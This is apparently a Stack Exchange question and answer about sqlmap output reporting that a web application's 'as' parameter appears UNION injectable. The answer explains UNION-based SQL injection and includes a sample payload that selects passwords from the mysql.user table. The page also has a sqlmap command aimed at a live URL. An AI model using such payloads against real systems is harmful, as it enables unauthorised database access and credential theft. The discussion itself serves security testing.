3

I am using sqlmap for finding out sql-injection threat on our application.

http://myurl.net/question/teaching/answer/sujan-justice?as=Course

and i tried to perform the following:

sqlmap.py -u "http://myurl.net/question/teaching/answer/sujan-justice?as=Course" --dbms=mysql --level=5 

Here is the Console :

 [11:35:46] [INFO] testing connection to the target URL
 [11:35:46] [INFO] testing if the target URL is stable. This can take a couple of
 seconds
 [11:35:47] [WARNING] target URL is not stable. sqlmap will base the page comparison on a sequence matcher. If no dynamic nor injectable parameters are detected, or in case of junk results, refer to user's manual paragraph 'Page comparison'
 and provide a string or regular expression to match on
 how do you want to proceed? [(C)ontinue/(s)tring/(r)egex/(q)uit] r
 please enter value for parameter 'regex': *
 [11:35:59] [INFO] testing if GET parameter 'as' is dynamic
 [11:35:59] [WARNING] GET parameter 'as' does not appear dynamic
 [11:35:59] [WARNING] heuristic (basic) test shows that GET parameter 'as' might not be injectable
 [11:35:59] [INFO] testing for SQL injection on GET parameter 'as'
 [11:36:00] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
 [11:36:29] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause (MySQL    comment)'
 [11:39:25] [INFO] testing 'MySQL time-based blind - Parameter replace (MAKE_SET)'
 [11:39:25] [INFO] testing 'MySQL time-based blind - Parameter replace (ELT)'
 [11:39:25] [INFO] testing 'MySQL >= 5.0.11 time-based blind - GROUP BY and ORDER BY   clauses'
 [11:39:26] [INFO] testing 'MySQL UNION query (NULL) - 1 to 10 columns'
 [11:40:17] [INFO] target URL appears to be UNION injectable with 1 columns
 [11:40:55] [INFO] target URL appears to be UNION injectable with 5 columns
 injection not exploitable with NULL values. Do you want to try with a random integer value for option '--union-char'? [Y/n] y
 [11:41:15] [INFO] target URL appears to be UNION injectable with 2 columns
 [11:41:36] [INFO] testing 'MySQL UNION query (71) - 11 to 20 columns'
 [11:41:38] [INFO] target URL appears to be UNION injectable with 17 columns
 [11:41:48] [INFO] target URL appears to be UNION injectable with 15 columns

Can anyone help me to know what does this line means:

[11:40:17] [INFO] target URL appears to be UNION injectable with 1 columns

I am not sure, but I guess it means that it's possible to perform sql-attack on the application. If that's right, then help me how I should do it?

1 Answer 1

6

The vast majority of databases do not allow query stacking. In MySQL, there is mysql_multiquery(), which which allows query stacking and is almost never used. So how do hackers exploit the vast majority of sql injection? Using a simple Union Select! As a pentester this is what I use more than anything else.

What SQLMap is saying is that your injecting into a query that looks like this:

select question from teachers where crouse='Course'

In order to exploit this query SQLMap needs to use a union select, in order for this to be a valid query both select statments must have the same number of columns:

select question from teachers where crouse='Course' union select password from mysql.user-- '
1
  • how do we implement this attack technique on sqlmap? does it do it automatically when we give it some high level and risk? @rook
    – turmuka
    Oct 1, 2017 at 14:52

Your Answer

By clicking “Post Your Answer”, you agree to our terms of service, privacy policy and cookie policy

Not the answer you're looking for? Browse other questions tagged or ask your own question.